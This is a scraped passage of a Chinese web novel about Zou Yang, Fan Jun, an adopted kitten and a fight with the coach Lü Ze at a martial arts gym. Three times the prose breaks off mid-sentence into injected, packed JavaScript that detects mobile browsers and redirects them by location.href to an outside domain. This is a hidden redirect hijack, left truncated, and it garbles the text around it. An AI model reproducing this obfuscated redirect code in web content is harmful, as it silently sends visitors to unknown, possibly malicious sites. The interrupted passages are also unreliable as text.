“嗯,等领养呢,”邹飏说,“主要它是个土猫,又不是长毛又不是鸳鸯眼,不知道多久能送出去。” “放我这儿吧。”樊均说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525679|169504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你顾得过来吗?”邹飏问。 “顾得过来。”樊均说。 “我靠,”邹飏猛地松了一口气,手撑着桌子,“你真帮我大忙了,它要领养不出去,下周我还得带去学校。” “有人要就过来拿,”樊均说,“没人要我养着也不麻烦。” “谢谢。”邹飏从背包里把狗粮又掏了出来,放回了笼子里。 “我能给它改个名字吗?”樊均问。 “能啊,这名字我也就是随便叫的……”邹飏顿了顿,“你是不是想叫它小黑。” 樊均没说话,过了几秒才笑了笑。 “你真……”邹飏有些无语。 “大黑。”樊均说。 “什……”邹飏愣了愣笑出了声,“操。” 无聊四人党一字排开站在几个猫爬架前,店员在旁边等着他们决定要哪个。 “这个。”李知越指着那个带猫窝的。 “有什么能说服我的理由吗?”刘文瑞问。 “它最贵。”张传龙说。 “这他妈是什么理由?”刘文瑞骂了起来,“你们跟过来就是为了帮他坑我钱呢吧!” “你把猫都坑给飏飏了。”李知越说。 “你少肉麻!”刘文瑞说。 “赶紧的,”邹飏看了一眼手机,“下午还有课,饭还没吃。” “行行行,就这个。”刘文瑞手一挥。 “还有幼猫粮幼猫罐头幼猫玩具幼猫零食幼猫衣服……”邹飏一连串地数着,“幼猫的一切。” 刘文瑞转头盯着他:“邹飏?” “嗯?”邹飏应了一声。 “你,把猫送给那个樊均了,”刘文瑞说,“然后,你爱心大使,他免费玩猫,我出钱?” “那他把猫给你,”邹飏说,“他爱心大使,你免费玩猫,我出钱,怎么样?” 刘文瑞看着他憋了好半天,最后把手机往收银台上一拍,跟服务员说:“他刚点的那些,都拿上。” 樊均站在冰箱前,拧开了一个黄桃罐头,拿小刀切了一块儿出来放进了嘴里。 齁甜的。 不过挺香,很浓的桃味儿。 吃了真能逃吗? 他又吃了一块儿才把罐头放回冰箱,转过身的时候发现吕泽正站在厨房门口。 “罐头你买的吧?”吕泽问。 “嗯。”樊均飞快地嚼着嘴里的桃。 “我都不说别的了,”吕泽说,“你哪怕跟铁帮学学呢?人家是怎么控制饮食的?好歹是个教练,是不是应该保持一下?东一口西一口,累一块儿多少热量了?” 樊均咽下黄桃,从吕泽身边挤出了厨房,吹了声口哨,已经套好了项圈和嘴套的小白从狗窝里拖着牵引绳跑了过来。 “我跑过去,晚上加练。”樊均在吕泽开口之前说了一句,然后带着狗跑出了院子。 他并不是敷衍吕泽,能做到的他都尽量会做到。 吕泽和吕叔不同,吕叔的理念就是师傅带徒弟的那种模式,小孩儿也好,成年人也好,都带得很江湖。 吕泽想要的是正规,有纪律,按流程,以后能走高端点儿路线的模式。 其实挺好的。 如果不老盯着他改造就更好了。 手机在兜里响了,他没听见,跑着步震动也没什么感觉,小白用鼻子往他裤兜那儿顶了两下他才反应过来。 拿出来看了看,有些意外地发现是个好友申请。 就两个字。 邹飏。 他通过了请求。 邹飏的头像是一只站着的小猪,一手叉腰一手指天,看着像是自己画的。 昵称也很简单,邹yang。 正想跟邹yang打个招呼,邹yang的消息已经发了过来。 -我晚上拿点猫用的东西过去给你吧 樊均顿了顿,赶紧给他回了一条。 -东西都有,我买了猫粮了 邹飏直接发了语音过来:“不光是猫粮,还有些别的,什么日用品猫窝之类的,我挑了个不怎么占地方的,跟你屋那个地板挺搭。” -好 “你说没说我们也过去?”刘文瑞问。 “没。”邹飏说。 “那这一帮人一块儿过去不得吓他一跳?”刘文瑞说。 “就你们这几块儿料还挺有自信,”邹飏说,“那不得吓他一跟头啊。” “靠,”刘文瑞笑了起来,想想又凑近他,“哎,那如果你妈……那以后他是不是就是……你哥了?” “又不是小孩儿了,父母结婚还认个哥。”邹飏皱了皱眉,有种说不清的反感。 倒并不是针对樊均。 11.第 11 章 11 周末的白天,新馆这边儿人挺多的,训练区一片热闹。 吕泽上周做了点儿推广,来了些新学员,新馆本来就只有樊均和铁帮俩教练,这会儿不太够用了,樊均的课从一早排到了晚上。 不过好在有新的教练已经通过了吕泽的面试,是个叫谭如的女孩儿,樊均这会儿正看着她给猴儿试课。 邹飏晚点儿要送东西过来,他正好把晚上新学员的课转给谭如,下周就没这么累了。 也许是对他不放心,试课的时候,吕泽还专门过来了一趟,站在门口远远地看了好一会儿,吕叔让他买点儿菜回旧馆才走的。 樊均感觉谭如课上得比他和铁帮都细,业务水平也挺强的,试课结束的时候猴儿冲樊均点了点头,意思是他觉得谭教练很好。 “谭教练对学员有什么评价吗?”樊均问。 “怎么还评价上我了?”准备走开的猴儿立马凑了过来。 “基础蛮扎实的,”谭如说,“力量和爆发都强。” 猴儿很满意地点头:“哎我的确是……” “不足呢?”樊均又问。 “什……”猴儿想插嘴没插成。 “肌肉控制还可以再加强一下。”谭如说。 “啊?什……”猴儿看着她。 “过于追求动作的观赏性,忽略了实战……”谭如继续说。 “我靠,什……”猴儿又看向樊均。 “他爱炫技。”樊均说。 “我要退课!”猴儿转身就往门口走。 “退课找吕泽。”樊均说。 猴儿一个转身又走了回来。 “谭教练休息一下去吃饭吧,”樊均看了一眼时间,“新学员七点到。” “好的。”谭如笑着拍了拍猴儿的肩膀,“辛苦啦弟弟,你实力还是很强的。” “嗨,”猴儿一甩头发,手摆了摆,“也不行。” “知道就好。”樊均说。 “樊哥?”猴儿瞪着他。 “你一会儿先带一下斌斌兄弟俩,”樊均说,“我吃个饭。” “我也没吃呢哥。”猴儿说。 “你一会儿回去吃,我刚看你妈妈菜还没炒好。”樊均说。 猴儿和斌斌兄弟俩都是这里商户的孩子,猴儿待在武馆的时间更长,以前在旧馆练,换到新馆之后无论有没有课,没地儿去了他们就会在馆里泡着。 樊均出去买了份砂锅饭,酸菜五花肉的。 这阵儿除了那天的鱼,樊均一直吃得很干净,外卖能点轻食都点的轻食,今天路过这家新开的砂锅饭时他瞬间就决定赶紧吃一吃,万一哪天就倒闭了呢。 樊均在前台后头埋头吃着,吕泽什么时候进来的,他是既没听见也没看见。 一直到吕泽伸手在外卖盒子上弹了一下,他才抬起了头。 看到吕泽拧着的眉时,他说了一句:“放纵餐。” 吕泽看着他,半天没说出话来,最后冲他竖了竖拇指。 樊均也没说话。 “我回旧馆那边儿了,”吕泽拎着菜,“这边儿晚上你盯着点儿,新学员多,碰上什么问题及时解决。” “嗯。”樊均点点头。 “米饭吃一半得了吧?”吕泽看了一眼他的饭。 “嗯。”樊均用叉子在米饭中间划了一条线。 吕泽估计一时半会儿顺不下去这口气,站在他面前没走也不说话。 “再闻一会儿该犯馋了。”樊均提醒他。 吕泽转身走了出去。 “我靠,路这么窄的吗?”刘文瑞看着前面的路,人都快贴到方向盘上抱着了,“前面来个车是不是都会不了车啊!” “不知道,”邹飏坐在副驾,“要不你再等等。” “等什么?”刘文瑞问。 “等有车来的。”邹飏说。 “我靠,我有病啊我等!”刘文瑞说。 “那现在没车呢你还不赶紧开过去?”邹飏转头看着他。 “没事儿,车来了邹飏张张嘴就能把对面车给损炸了,”李知越在后座上笑得很愉快,“别怕。” 本来车停在正门就行,但邹飏懒得再走商场里头那一段,让刘文瑞直接顺着那天他走的小路绕到后门停车。 差点儿要了刘文瑞和他家这车的命。 “操,”下车的时候刘文瑞汗都下来了,“我这技术值不值一杯奶茶!” “一楼有个奶茶挺好喝,”邹飏想起了那天的姜奶,“请你喝。” “我们呢?”张传龙问。 “自己买!”刘文瑞回头瞪了他一眼。 五杯姜奶。 邹飏没冒险买别的,就买了那天尝着好喝的,不过这家奶茶店看着得确没生意,老板姐姐做奶茶的动作非常不熟练,看着一通挥舞,做出来一杯。 做完五杯的时候她靠着吧台长长地舒出了一口气。 “……辛苦了。”邹飏没忍住说了一句。 姐姐笑了起来:“是挺累的,还没连续做过五杯呢。” 晚上的商场比白天更冷清,店都关得差不多了,从走廊上经过时,有种误入了另一个空间的感觉。 听到腾龙武道里嘭嘭的训练的声音时,邹飏甚至悄悄松了口气。 推开武馆的玻璃门,声音顿时更热闹了。 “人还挺多。”李知越说了一句。 樊均在前台后头靠着椅子,仰着头,帽子遮住了大半张脸,跟他们第一次见面时一样。 “樊均。”邹飏叫了他一声。 樊均没动。 不知道是真睡着了还是馆里声音太杂没听见。 邹飏想提高声音喊一嗓子,但是……虽然刘文瑞他们都知道樊均听力不好,邹飏还是不太想再强调这个点。 于是他走过去,伸手在樊均右耳边打了个响指。 “嗯。”樊均动了动。 声音里带着鼻音。 ……是真睡着了。 “邹飏?”他问了一声之后才抬手挑起了帽子。 “是。”邹飏看了看他的帽子,“你帽子上有洞么?怎么看到我的?” “不用看,”樊均站了起来,“没人敢这么招呼我。” 看到邹飏身后站着的几个人,他愣了愣:“你买了多少东西?” “我们来玩的。”刘文瑞说。 “哦。”樊均往里面训练区看了一眼。 “人多的话就算了,”李知越也跟着往里看了看,“别影响你们。” “没事儿,”樊均说,“晚点儿就没课了。” “那先把东西拿过去?”邹飏问。 “好。”樊均从前台抽屉里拿了钥匙。 一帮人往外走的时候,邹飏把手里提着的奶茶袋子递给了樊均。 “谢谢,”樊均拿出奶茶看了一眼,“楼下那家啊?” “嗯,”邹飏点点头,“趁还没倒闭。” 樊均笑着插上吸管,喝了一大口。 “换人开,”刘文瑞一拍引擎盖,“这边儿路状实在有点儿吃不消,又窄又乱还黑……” 这几位当初都是一块儿去学的车,但邹飏家没车,李知越和张传龙都外地的……说起来车技最好的居然就是刘文瑞了。 最后大家一块儿转过头看向樊均。 “……我开吧。”樊均说。 “我靠,谢了哥!”刘文瑞松了口气,把车钥匙扔给了樊均,跟李知越他们一块儿挤到了后座。 邹飏一直没出声也没动,等那几个把车门关上之后他才转头问了樊均一句:“你……有驾照?” 这几个蠢货在看向樊均的时候大概没一个反应过来樊均左耳是有听障的。 “嗯,”樊均笑了笑,“用的助听器。” “哦,”邹飏点头,一边往副驾走一边又问了一句,“没见你戴呢?” “坏了。”樊均说。 邹飏顿了顿,没再多问,上了车。 樊均上车之后,后座那三位才反应过来,李知越小心地问了一句:“樊哥……” “他有本儿。”邹飏打断了他的话。 “哦——”后座整齐地一阵尴尬的笑声。 樊均开车的技术比刘文瑞强多了,这会儿商场里已经很冷清了,但街上摆摊的下班晚了的散步的站那儿不知道琢磨什么的人一堆,除了机动车之外的所有移动物体,似乎都没有人行道和车道的概念,免费极了。 “真够乱的。”邹飏说。 “周末,”樊均说,“平时还行。” 没等邹飏出声,他一巴掌按在了喇叭上。 前面走路的几个人在喇叭伴奏中总算是上了人行道。 但有个龟速边开边玩手机的电瓶车大哥依旧挡在快车道上,还回头骂了一句,邹飏不会读唇也能看出来骂的是什么。 樊均按着喇叭没撒手,握着方向盘的手冲大哥竖了竖中指。 大哥瞪着他没动,樊均踩了刹车,往左边看了一眼,直接打开了车门。 在车门打开一条缝的同时,电瓶车及时地往前开走了。 “战斗力强的人是真嚣张啊,”李知越在后头很羡慕地感慨着,“我一般就车里骂几句还怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531847|169504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人家真的听见了。” 就从商场出来这条路,到第一个路口,樊均按了四回喇叭,搁平时刘文瑞家这车估计一星期也开不了四回嗓。 好在转过路口之后,人和车都明显减少了,还算是顺利地开到了樊均租房的楼下。 一个多星期没见,狗粮……大黑长大了很多,圆头圆脑的,非常活泼。 几个人一通乱糟遭地把买给大黑的东西都安顿好,因为有了那个猫爬架猫窝和在上头兴奋攀爬的大黑,樊均本来就挺温馨的小屋,显得更舒服了。 邹飏站在客厅里,有一瞬间甚至有点儿不想走。 “走吧!”张传龙喊,“去武馆活动筋骨去!” 这帮人是真跟他没法感同身受。 新馆这边儿只还有最后一个还在上课的学员了,一个看上去很帅的女教练正带着。 邹飏看他们训练的几分钟里,刘文瑞他们已经脱了鞋蹦上了训练区,对着沙袋一阵踢。 只有李知越像个正常人,还知道让樊均教他几个傻子也能学会特别能唬人拍照好看的招式。 “说真的,”张传龙非常努力地踢着沙袋,“樊哥,你说我一周来练一次的话,多久能跟你差不多?” “死之前吧。”樊均说。 “什么?”张传龙愣了愣停下了。 “操。”邹飏往旁边的沙袋上一靠,笑了起来。 “我那会儿可能打不动了。”樊均说。 邹飏这几个同学还挺有意思的,樊均很久没有这么轻松过了。 平时接触到的基本都是学员,上课的时候聊几句,至于别的同学朋友,同龄人很少会有愿意留在南舟坪的,能留下的那些……也很难成为朋友了。 樊均看向站在他对面的邹飏,这样的人,如果不是珊姐,正常没什么理由会到南舟坪来,他大概率也不会认识…… 邹飏的视线跟他对上了两秒,接着就很快地移向了他后方,眼神也瞬间冷了下去。 樊均回过头,吕泽正往这边儿走过来。 他抢在邹飏有下一步反应之前转身迎了过去,在训练区边缘拦下了吕泽:“吃完饭了?” “早吃完了,”吕泽的目光还在邹飏那边停留了两秒才回到了他脸上,“你怎么回事儿?不相关的人员放到馆里来瞎闹?” “课都结束了。”樊均说。 “谭如没在上课了吗?”吕泽问。 “不影响。”樊均说。 “怎么不影响?”吕泽盯着他追问。 樊均沉默了两秒才说了一句:“出去说。” “为什么?”吕泽没动。 “不想吕叔难做。”樊均回答。 吕泽没出声,又往他身后扫了一眼,才沉着脸转身往门口走了。 “怎么?”邹飏在他穿鞋的时候过来问了一句。 “没事儿,”樊均说,“教育一下我。” “我听见了。”邹飏说。 樊均看着他,低声说:“在这儿玩你的。” 没等邹飏说话,他转身走了。 吕泽靠坐在前台后面的椅子上,看到他出来的时候说了一句:“真没看出来啊,你俩什么时候关系这么好了?” 樊均没说话。 “也是,”吕泽说,“同病相怜是吧?” “珊姐又不是我妈,”樊均看着他,“你俩,才是同病相怜。” 吕泽腾地一下站了起来,手往桌上猛地一撑,瞪着他:“你再说一遍?” 樊均沉默地还是看着他。 “这个武馆不是个可以玩闹的地方!”吕泽提高了声音,对着他右耳,“今天你带几个人来玩,明天他带几个人来玩……” “没人这么干,”樊均声音很稳,“邹飏也不算不相干的人。” “别以为我不知道他在想什么,”吕泽有些激动,“这个武馆,我爸辛苦经营了十几年到今天,不是随便来个谁给点儿钱,就能把这儿当自己家买卖的!” “吕泽?”樊均看着他,“你在说什么?” “我说……”吕泽的话没说完,一张卡片从樊均身后贴着脸擦过,砸在了吕泽的脸上,再掉在了前台桌面上。 是张银行卡。 樊均只觉得头都大了,回过大头往后瞅了一眼,果然看到了邹飏。 “买课。”邹飏说。 这两个字非常出人意料,吕泽一时之间甚至没反应过来。 “一会儿我跟你签……”樊均马上转身拦住了准备继续往前台过去的邹飏。 “起开,”邹飏偏了偏头,看着那边的吕泽,“我要买他的课。” 12.第 12 章 12 邹飏从吕泽进馆的时候就看出来他要找麻烦了,一开始跟樊均说那几句他还听得不是特别清楚,刚最后那半句是一字没落地都听到了。 火一瞬间蹿起来的速度,邹飏的情绪都差点儿没跟上。 樊均要没拦在中间,扔卡这一步都不会有,他直接就是奔着动手过来的。 吕泽几秒钟之后算是反应过来了,一踢椅子从前台后头绕了出来:“买课是吧?来来来,我试试你几斤几两敢买我的课……” 樊均赶紧回手按在了吕泽胸口上:“你别……” 吕泽一抡胳膊把他手拍开了。 樊均下一秒就又顶住了他胸口,这回是直接一把抓住了他胸口的衣服,接着回过头又伸手拦在了邹飏面前:“邹飏……” 邹飏根本都没往他脸上看,只盯着吕泽,抬手食指往鼻梁上一挑,把眼镜摘了下来。 “别看戏!”樊均冲着早就已经过来了但一直抱着胳膊冷脸看着的刘文瑞他们吼了一嗓子,“拉着他!” “哎!”刘文瑞应了一声,立马两步冲到了邹飏身边,在他背上轻轻拍着,“飏啊,别生气……” 邹飏把眼镜往他面前一递,他下意识就伸手接了过去。 没等李知越和张传龙在他身边站定,趁着樊均转头看吕泽的一瞬间,邹飏往前冲了一步,猛地一蹬地,撑着樊均肩膀跳了起来。 对着那边的吕泽的脸就是一拳。 吕泽不愧是冠军,虽然一开始被樊均遮挡了视线,胸口的衣服也被拽着,但还是在最后关头猛地偏了一下头。 邹飏对着他鼻梁的一拳砸在了他颧骨上。 但紧跟着他的手腕就被吕泽抓住了。 这一招跟樊均师出同门,但明显要比樊均下手狠得多,邹飏转了一下手腕,发现完全没有挣脱的可能。 而接着吕泽就开始拧着往下压他的手腕。 “吕泽!”樊均喊了一声,也一把抓住了吕泽的手腕,“松手!” 吕泽一个人顶不过樊均和邹飏两个人的力量,没能再往下压,但也没松手,眼睛里冒着火。 这会儿刘文瑞他们几个才真急了,扑上来想要拉开吕泽。 但吕泽相当稳,纹丝不动,一挥胳膊还把张传龙撞到了地上坐着。 “我操!”张传龙坐地上骂了一句。 樊均咬咬牙,在吕泽分神抡张传龙时一拳砸在了吕泽肋骨上。 吕泽抽了一口气,抓着邹飏的手终于松了劲,邹飏猛地一扬胳膊,甩开了他的手。 樊均也跟着松开了吕泽,推开他的同时往后退开了一步。 吕泽正要再追一拳的时候,一个身影冲到了他和樊均中间,双手同时抓住了他的手臂。 “二位前辈!”谭如跨了个弓步,架着吕泽的胳膊,“我上班刚一天,第一天,不要让我为难!” 吕泽咬着牙看了她一眼,僵持了两秒之后,他收回了胳膊。 “我会记着你这一拳。”吕泽指着邹飏。 “那你记好了,”邹飏看着他,“这拳是替我妈揍的。” “我怎么着她了!我说她什么了!”吕泽一听这话顿时又吼了起来。 “是没指名道姓,”邹飏盯着他,“句句没提,句句都是,你他妈才应该去念汉语言。” “你没完了是吧?”吕泽说着就要过来。 “第一天!”谭如就没敢走开,一直站在中间,这会儿直接整个人都顶到了吕泽身前。 邹飏倒是没往前,但刘文瑞他们拉了他几下都没拉动。 樊均转过身跟他面对面地站着,手直接从他两臂之下穿过去箍住了他的身体,然后把他往后推到了墙边,手往墙上一撑。 邹飏胳膊被架了起来,挣了几下都找不着地儿使劲,又不能往樊均裤|裆踢,僵持了几秒之后他终于放弃,往后靠在了墙上。 “冷静了吗?”樊均微微侧过脸,低声问。 “嗯,”邹飏应了一声,“爽了。” “我松手你要再往前冲,”樊均还是低声说,“我就让你躺地上。” “嗯。”邹飏往后仰了仰头,整个人放松下来不再动。 樊均撑着墙的手拿开了,回头看着吕泽:“都冷静一下,回去休息吧。” 吕泽沉默着,看得出来在强行压着火,最后转身推开玻璃门走了出去。 李知越跟到门边往外看了看:“走了。” “我操,”张传龙一屁股坐到了旁边的椅子上,“我操……” “你真牛逼,”刘文瑞走到邹飏跟前儿,把眼镜递给他,“你真……牛逼。” “这位兄弟,”一直躲在门边看的谭如的学员冲邹飏招了招手,“这位小兄弟。” “嗯?”邹飏戴上眼镜,转过头看着他。 “练多久了?”这人问。 “……五年。”邹飏随口回了一句。 “下课了,”谭如推了那人一把,“赶紧回吧,回去把今天教的内容稍微复盘一下,下节课我检查动作的哦。” “谭教练辛苦了,你也回吧,”樊均说,“一会儿我收拾关门就行。” “好。”谭如点点头。 谭如和学员走了之后,屋里几个人都没说话,樊均打开冰柜,拿了几瓶可乐出来:“喝点儿吗?” “喝。”刘文瑞接过可乐,给几个人一人一瓶。 “你们接着去玩。”邹飏冲他抬了抬下巴。 “玩屁啊还玩,”刘文瑞说,“我现在有点儿心率不齐。” “去查一下吧,”邹飏说,“别哪天死我上铺了。” “一开始都杵那儿不动,”樊均说,“我还以为你们很想看他动手呢。” “是想看他动手来着,”李知越喝了口可乐,“不是我说,你们这个吕教练,统共见两回,两回都挂个驴脸甩得八丈长,我要不是一介文弱书生,我早动手了。” 樊均叹了口气,拿过了还扔在前台的那张银行卡,走到了邹飏面前。 邹飏还是靠着墙,也没接卡,看着他:“买课。” 樊均没说话。 “买你的课。”邹飏说。 樊均沉默了好一会儿才说了一句:“手机扫吧,我不会用那个pos机。” “靠。”邹飏笑了起来。 樊均把开卡的合同放到他面前:“签名,日期就今天。” “嗯。”邹飏也没看内容,低头直接签了自己的名字。 “看清条款。”樊均说。 “不看。”邹飏说。 “那你是真要练吗?”樊均问,“还就是要气一下吕泽?” 邹飏抬眼瞅着他。 “真练我要提前把时间留出来。”樊均说。 “练。”邹飏说。 樊均没再说话,拿过合同签了自己的名字。 邹飏一直练字,他的字写得很好,对别人的字也会比较留意,樊均签完名之后他扫了一眼。 意外地发现樊均的字居然写得还可以,很潇洒的字体。 “练过字吗?”邹飏问。 “没。”樊均说。 “字可以啊。”邹飏把他的那份合同叠起来放到了兜里,又顺手拿出眼镜布把眼镜上刘文瑞捏满了的指纹擦了擦。 “我也想买课。”张传龙凑了过来。 樊均胳膊撑着前台看了他一眼:“谭教练有男朋友。” “哎操。”刘文瑞和李知越同时爆发出了狂笑。 “笑屁!”张传龙瞪着他俩,“我不是因为这个。” “那铁教练和樊教练,”邹飏说,“你买谁的课?” “女中豪杰谭教练。”张传龙说。 “你死去吧。”邹飏没忍住笑了起来。 这么一通闹,玩是没法继续玩了,几个人等着樊均把馆里的器材收拾好,灯都关了,然后一块儿离开了武馆。 “要我帮你们把车开到大街上吗?”樊均问。 “不用不用,”刘文瑞赶紧摆手,“这会儿没什么人了,我慢慢开没事儿。” “你狗呢?”邹飏看了看四周,两边的店都关门了,之前狗是在隔壁店里巡回撸撸,这会儿没看到。 “旧馆,”樊均说,“今天这边儿忙,让猴儿帮带过去了。” “哦,”邹飏看着刘文瑞他们几个从电梯那儿下去了,才低声说了一句,“刚……不好意思了。” “没事儿。”樊均说。 “明天我过去跟吕叔解释一下。”邹飏说。 “不用,”樊均说,“这事儿他不会跟吕叔说。” “你刚没……”邹飏回想着之前的场景,“弄伤他吧?” “没,”樊均轻轻在他手腕上碰了碰,“你回去冰敷一下。” “……切,”邹飏有些不屑,“就抓那几秒钟,也配让我冰敷?” 冰箱冷冻室里放着两个冰袋,老妈冰眼睛用的,邹飏都拿了出来。 之前跟樊均说的话还是太大了,回家才发现手腕上一片青紫,青底儿,上面四根紫红的手指印都能看得见。 他活动了几下手腕,能感觉到肌肉牵拉着的那种疼痛。 操。 前后也就几秒钟,冠军内力还挺深厚。 邹飏洗完澡把两个冰袋一上一下用弹力绷带缠在了手腕上,往床上一倒,闭上眼睛长长舒出一口气。 没多大一会儿就睡着了,老妈的电话响了半天他才听见。 “喂?”他打着呵欠看了一眼时间,十二点了。 “哟,你睡了啊?”老妈说,“我还怕你前头在写作业,专门晚点儿打呢。” “没呢,就是打了个盹儿。”邹飏把手机从右手换到了左手。 右手腕冰袋都软了怎么疼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“疼啊,”邹飏说,“后来睡着了就没感觉了。” 樊均看着他,没说话。 邹飏也没说话,过了一会儿才终于反应过来了:“我操,是不是不能贴肉冰敷?” “也不能敷那么长时间,”樊均叹了口气,往馆里走,“来,得上点儿药。” “烫伤膏吗?”邹飏说。 “智商膏。”樊均说。 邹飏没顾得上樊均对他智商的侮辱,只对馆里四月了还能拿出一支冻伤膏表示吃惊。 “过期了吧?”邹飏问。 “没,”樊均很认真地拿着冻伤膏看了看,又挤了点儿出来闻了闻,“保质期二十四个月,去年冬天买的,小白耳朵冻伤了。” “……哦。”邹飏应了一声。 樊均往他手腕上挤了一坨膏药,邹飏小心地把药给抹匀了。 “今天练不了了吧。”樊均说。 “为什么,不戴拳套不就行了,”邹飏说,“练腿不行吗?” “行吧。”樊均点点头。 “十点的课是吧?”邹飏看了一眼手机,还差十分钟到点儿,他起身把外套脱掉了,里头是一件短袖T恤。 “衣服放这边儿。”樊均带着他去了更衣室。 新馆的确是比旧馆要强不少,旧馆那边儿就两排柜子放衣服,柜子和墙之间隔了一块儿出来换衣服。 新馆的更衣室里卫生室浴室都齐全。 今天第一节课,樊均的计划是先了解一下邹飏的水平。 “这样后面我才好做训练计划……”樊均说。 “踢我一脚。”邹飏站在他对面说了一句。 “什么?”樊均看着他。 邹飏没出声,用口型又重复了一遍,踢我一脚。 “为什么?”樊均问。 “感受一下。”邹飏说。 “什么程度?”樊均问。 “我不受伤就行。”邹飏说。 樊均没说话,似乎是在思考,好一会儿才开口:“来了啊。” “嗯。”邹飏点点头。 樊均走了过来,抬腿对着他的护胸一个侧踹。 邹飏感觉跟被车撞了似的飞了出去,虽然他也没被车撞过。 因为没有铁帮教练在后头接着他,所以他是直接摔到了垫子上,用了两秒才把呼吸调整过来了。 “操,”邹飏摸了摸胸口,“你真实诚啊。” “怎么样?”樊均走了过来。 “我被踢完了还要表扬你吗?”邹飏问。 “你怎么样。”樊均问。 “爽。”邹飏说。 13.第 13 章 13 从那天哭完之后,邹飏要去二十一中找那几个傻子的茬儿开始,到昨天揍吕泽,樊均感觉邹飏一直憋着一股子气。 但不是特别确定,因为邹飏大部分时间看上去都还挺克制的。 直到眼下,邹飏坐在地上面无表情的这一个“爽”字。 的确是憋着呢。 “带拳套了吗。”他又再检查了一下邹飏的手腕,确定虽然冻伤了,但不是特别严重的那种。 “嗯?”邹飏抬头看着他。 “带拳套了吗?”樊均问。 “带了。”邹飏说。 “戴上吧,”樊均说,“我看看你水平。” 邹飏沉默了一会儿,站了起来,看着自己的手腕:“那不得疼死。” “忍着。”樊均说。 邹飏没再说话,转身去了更衣室,从包里拿出了拳套,一边缠绷带一边往训练区走过去。 他不知道为什么樊均突然会有这个提议,也懒得问。 隐隐只有兴奋的感觉。 就算也会担心手腕,可还是兴奋,疼不疼的也不是那么在意了。 樊均已经穿好护具,拿了手把在训练区等着他了。 “你不跟我打么?”邹飏看着手把。 “那你就是纯挨打了。”樊均说。 “……你大爷,”邹飏说着又扫了他身上的护具一眼,“那你还上护具。” “你能忍得住不踢我摔我么。”樊均说。 邹飏没再说话,只是啧了一声。 “来吧,”樊均说,“跑五圈儿热身。” “什么?”邹飏愣了。 “跑五圈儿热身。”樊均又重复了一遍,这一遍的语气突然严肃了不少,有种是他教练的错觉。 ……哦的确是他教练。 邹飏换了鞋绕着训练区飞奔了五圈。 谭如的那个学员很积极,今天也在,看到他跑过的时候还打了个招呼:“小兄弟,你还练长跑呢?” ……谭教练的课强度还是不够啊! 一般热身不会这么简单,但今天就破个例,樊均看着跑完圈回来的邹飏,拍了拍手把:“来。” 邹飏右腿往后,微微侧身站定。 这个以静相持的实战步还是相当标准的,看得出来邹飏学过。 手把举起的同时,邹飏一个干脆利落的左直拳砸在了手把上,紧跟着就是右直拳,出拳和回收速度都很快,右直拳的力量很足。 樊均后退半步,邹飏垫步咬死,连续的直拳过后是摆拳,樊均后退,邹飏带步跟上,一个正蹬踢在他胸口。 樊均被踢得往后撤了一步,说了一句:“好。” “闭嘴。”邹飏说。 樊均想往前压回去,邹飏并没有犹豫,直接一个后鞭腿,樊均提膝格挡,邹飏立刻又是一拳,接了个膝击。 樊均迅速侧身,再次提膝截击。 邹飏戴眼镜和没戴眼镜有着完全不同的状态,眼下连续的进攻,拳拳带风,也许是手腕多少还是有影响,他更多用的是腿。 蹬,踹,鞭腿……所以说穿护具还是应该的。 樊均一边配合着他的进攻和防守,一边注意着邹飏的技术动作。 说实话,邹飏应该练过不短的时间,比馆里很多老学员都强,但这会儿多少带着些情绪,几轮进攻下来,步伐和呼吸偶尔会乱。 如果是在训练,樊均肯定会提醒,但现在他只是沉默地举着手把。 邹飏又一连串直拳之后,樊均趁着空档也右直拳进攻,邹飏反应很快,向左侧身躲过,俯身用肩往他右肋撞了过来,右臂切在了他胸口上,往前继续下压的同时左手搂住了他的腰。 挺标准的一个切肩冲摔。 “好样的飏哥!”猴儿在旁边喊了一嗓子。 樊均被摔倒在垫子上时,邹飏的手臂都还压在他胸口上。 很爽。 那种痛快使劲,往前冲着挥拳的爽。 喘气都喘得比平时爽。 樊均甩掉了手把,在垫子上拍了两下。 邹飏回过神,赶紧松开手臂,直接往后一屁股坐在了垫子上。 “你,”樊均躺着没动,指着看热闹的猴儿,“跳绳去。” “我刚过来!”猴儿磨蹭着没动,“我今天又不练,我来……” “一千个。”樊均说。 “哎!”猴儿转身跑着去拿了根跳绳,到外面走廊上开始跳。 “手腕怎么样?”樊均起身,跟邹飏面对面坐着。 “还成,注意力没在那上头。”邹飏拆掉拳套和绷带看了看,手腕还是老样子,并没有特别疼,起码现在没感觉。 不过被绷带压出的纹路看上去有点儿惨。 “爽吗?”樊均问。 “嗯,”邹飏笑了笑,“谢谢。” “谢什么。”樊均说。 “谢你假摔。”邹飏说。 “是真摔,”樊均说,“我没想到踢完了还真要摔我。” “那你有点儿弱了,”邹飏说,“这点儿预判都没有。” “你以前在哪儿学的?”樊均笑着问。 